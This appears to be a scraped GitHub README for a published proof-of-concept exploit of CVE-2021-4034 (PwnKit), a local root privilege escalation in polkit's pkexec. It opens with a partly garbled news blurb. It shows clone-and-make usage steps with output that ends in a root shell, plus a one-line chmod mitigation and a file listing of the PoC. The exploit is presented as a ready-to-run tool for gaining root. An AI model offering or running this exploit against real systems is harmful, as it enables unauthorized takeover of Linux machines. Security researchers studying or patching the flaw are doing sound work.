Linux system service bug gives root on all major distros, exploit published A vulnerability in the pkexec component of Polkit identified as CVE-2021-4034 PwnKit is present in the default configuration of all major Linux distributions and can be exploited to gain privileges over the compj researchers.<h1 align=center>CVE-2021-4034 Exploit</h1>
<p align=center><img src="https://shields.io/badge/Made_With-C-green" />
<img src="https://shields.io/badge/Compiled_With-GCC-yellow" />
<img src="https://shields.io/badge/Tested_On-Ubuntu_20.04.3_LTS_x86__64 -red" />
</p>
## Usage
```bash
$ git clone https://github.com/Anonymous-Family/CVE-2021-4034.git
$ cd CVE-2021-4034
$ make
[!] CVE-2021-4034 Exploit By whokilleddb
[!] Initializing Setup
[+] Setup Done :D
[!] Setting Root Privileges
[!] Launching Root Shell
# /bin/whoami
root
```
## Rough Patch
```bash
# chmod 0755 `which pkexec`
```
**Note: You can configure the options by playing around with `include/config.h`**
[4.0K] /data/pocs/ef9cbdac0a57f2e3cd8530f03c14387a74c484a6
├── [1.2K] cve-2021-4034-poc.c
├── [ 327] Makefile
└── [ 675] README.md
0 directories, 3 files